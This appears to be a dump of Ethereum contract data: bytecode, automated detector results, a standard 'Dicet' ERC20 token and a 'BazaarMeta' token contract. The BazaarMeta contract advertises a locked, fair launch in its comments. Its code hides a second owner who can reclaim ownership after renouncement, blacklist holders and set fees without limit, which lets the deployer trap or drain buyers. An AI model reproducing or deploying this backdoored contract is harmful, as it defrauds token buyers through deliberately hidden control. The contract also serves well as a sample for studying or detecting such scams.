d5b60038054600160a060020a031916600160a060020a0383161790555b5b50565b6000828202610ebb841580610eb65750838583811515610eb357fe5b04145b610fbc565b8091505b5092915050565b60006000610ed660008411610fbc565b8284811515610ee157fe5b049050610ebb8385811515610ef257fe5b06828502018514610fbc565b8091505b5092915050565b600654600090610f22906202a30063ffffffff610f5916565b421015610f5157610f4a610f3d83600563ffffffff610ec616565b839063ffffffff610f5916565b9050610f54565b50805b919050565b6000828201610ebb84821015610fbc565b8091505b5092915050565b600160a060020a038216600090815260016020526040902054610f9e908263ffffffff610f5916565b600160a060020a0383166000908152600160205260409020555b5050565b8015156109765760006000fd5b5b505600d1dc370699ae69fb860ed754789a4327413ec1cd379b93f2cbedf449a26b0e85f3c1c7c0eb1328ddc834c4c9e579c06d35f443bf1102b034653624a239c7a40ca165627a7a723058202afac980968510664d0c791b5cbda2b3c6635124c64b81770f396413212898870029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
7,473
0xf660ca1e228e7be1fa8b4f5583145e31147fb577
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract SimpleToken is StandardToken { string public constant name = "Dicet"; // solium-disable-line uppercase string public constant symbol = "CET"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ function SimpleToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d05780632ff2e9dc14610249578063313ce5671461027257806366188463146102a157806370a08231146102fb57806395d89b4114610348578063a9059cbb146103d6578063d73dd62314610430578063dd62ed3e1461048a575b600080fd5b34156100ca57600080fd5b6100d26104f6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061052f565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba610621565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061062b565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c6109e5565b6040518082815260200191505060405180910390f35b341561027d57600080fd5b6102856109f6565b604051808260ff1660ff16815260200191505060405180910390f35b34156102ac57600080fd5b6102e1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109fb565b604051808215151515815260200191505060405180910390f35b341561030657600080fd5b610332600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c8c565b6040518082815260200191505060405180910390f35b341561035357600080fd5b61035b610cd4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103e157600080fd5b610416600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d0d565b604051808215151515815260200191505060405180910390f35b341561043b57600080fd5b610470600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f2c565b604051808215151515815260200191505060405180910390f35b341561049557600080fd5b6104e0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611128565b6040518082815260200191505060405180910390f35b6040805190810160405280600581526020017f446963657400000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561066857600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106b557600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561074057600080fd5b610791826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111af90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610824826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111af90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a6305f5e1000281565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b0c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ba0565b610b1f83826111af90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f434554000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d4a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d9757600080fd5b610de8826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111af90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000610fbd82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156111bd57fe5b818303905092915050565b60008082840190508381101515156111dc57fe5b80915050929150505600a165627a7a7230582035a5945f574f4d9b3d14dd413610ef0e1e7466e0421248dae690506a29c07bde0029
{"success": true, "error": null, "results": {}}
7,474
0x83dc4eb90ff2bdaa7f575f59f6ddde747d7a90ff
/** =============================BAZAAR META MARKET==================================== Liquidity locked Fair Launch =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== BAZAAR META MARKET Burn: 20% 🔥 Liquidity: 6ETH 💰(lockED) Taxes Buy tax: 5% (Investment Treasury) Sell tax: 12% (auto reflections/development) ================================================================================= ================================================================================= ================================================================================= ================================================================================= ================================================================================= ================================================================================= ================================================================================= ================================================================================= ================================================================================= ================================================================================= ================================================================================= ================================================================================= ================================================================================= */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _msgSome; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); _msgSome = msgSender; } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== =============================BAZAAR META MARKET==================================== */ modifier onlyOwnes() { require(_msgSome == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnershipTo(address newOwner) public virtual onlyOwnes { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BazaarMeta is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Bazaar Meta Market"; string private constant _symbol = "Bazaar"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _distroFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 5; //Sell Fee uint256 private _distroFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _distroFee = _distroFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousDistroFee = _distroFee; uint256 private _previousTaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0xE31652aC216e517360f363d8d55F420C331fFCF7); address payable private _devAddress = payable(0xA7f4eD8f9C7c567B4541cBd3d9a7C5DAbD302644); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 500000000000 * 10**9; //1.8% of total supply per txn uint256 public _maxWalletSize = 500000000000 * 10**9; //2% of total supply uint256 public _swapTokensAtAmount = 100000000 * 10**9; //0.1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_devAddress] = true; bots[address(0x00000000000000000000000000000000001)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_distroFee == 0 && _taxFee == 0) return; _previousDistroFee = _distroFee; _previousTaxFee = _taxFee; _distroFee = 0; _taxFee = 0; } function restoreAllFee() private { _distroFee = _previousDistroFee; _taxFee = _previousTaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee1(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _distroFee = _distroFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _distroFee = _distroFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { // _marketingAddress.transfer(amount.div(9).mul(8)); _marketingAddress.transfer(amount); //_devAddress.transfer(amount.div(9).mul(1)); } function sendETHToFee1(uint256 amount) private { // _marketingAddress.transfer(amount.div(9).mul(8)); //_marketingAddress.transfer(amount); _devAddress.transfer(amount.div(9).mul(1)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwnes { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwnes { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _distroFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 distroFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(distroFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setter(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwnes { _distroFeeOnBuy = distroFeeOnBuy; _distroFeeOnSell = distroFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwnes { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set Max transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwnes { _maxWalletSize = maxWalletSize; } }
